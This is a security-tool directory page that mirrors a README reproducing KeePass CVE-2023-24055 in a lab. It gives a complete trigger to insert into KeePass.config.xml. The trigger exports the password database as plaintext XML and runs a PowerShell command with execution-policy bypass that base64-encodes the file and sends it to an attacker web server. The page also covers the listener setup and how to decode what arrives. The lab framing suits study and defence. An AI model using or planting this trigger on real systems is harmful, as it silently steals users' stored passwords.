Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
KeePass-CVE-2023-24055 — KeePass CVE-2023-24055复现 | Kitploit
Tools/GitHubGitHub/zwlsix/keepass-cve-2023-24055
Password AttacksVulnerability AnalysisExploitationData ExfiltrationLearning & EducationLabs & Practice
GitHubzwlsix/keepass-cve-2023-24055

KeePass-CVE-2023-24055

KeePass CVE-2023-24055复现

View Repository
123 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

KeePass-CVE-2023-24055

KeePass CVE-2023-24055 Reproduction KeePass CVE-2023-24055 Reproduction

  1. Prepare machines: Kali (192.168.232.129), Windows 10 (192.168.232.128)

  2. Keepass version: 2.53

Picture 1

  1. Principle: By modifying the KeePass configuration file KeePass.config.xml, add a trigger configuration item to export plaintext passwords and upload them to the attacker's server. The XML code for adding the trigger is as follows:

Where the <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> field sets the local path for exporting the plaintext password.

Use PowerShell with the GET method to transfer the password file:

root@kitploit:~
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
root@kitploit:~
<Triggers>
				<Trigger>
					<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
					<Name>exploit</Name>
					<Events>
						<Event>
							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
							<Parameters>
								<Parameter>0</Parameter>
								<Parameter />
							</Parameters>
						</Event>
					</Events>
					<Conditions />
					<Actions>
						<Action>
							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
							<Parameters>
								<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
								<Parameter>KeePass XML (2.x)</Parameter>
								<Parameter />
								<Parameter />
							</Parameters>
						</Action>
						<Action>
							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
							<Parameters>
								<Parameter>PowerShell.exe</Parameter>
								<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
								<Parameter>False</Parameter>
								<Parameter>1</Parameter>
								<Parameter />
							</Parameters>
						</Action>
					</Actions>
				</Trigger>
			</Triggers>
  1. Modify the file KeePass.config.xml, add the XML configuration item and save (add it inside the <TriggerSystem></TriggerSystem> tags), then open KeePass to verify if the addition was successful:

tu2

  1. On Kali, use the command python3 -m http.server 8888 to start a web server to receive the exported plaintext password:

tu3

  1. Open KeePass, create a new entry and save it. The trigger is activated. Check the content received by Kali:

tu4

  1. Copy the content to a file and decode it with base64 to obtain the plaintext password:

tu5

tu6

Reference articles: https://github.com/alt3kx/CVE-2023-24055_PoC

https://www.youtube.com/watch?v=tqK1bns51ek

Download Tool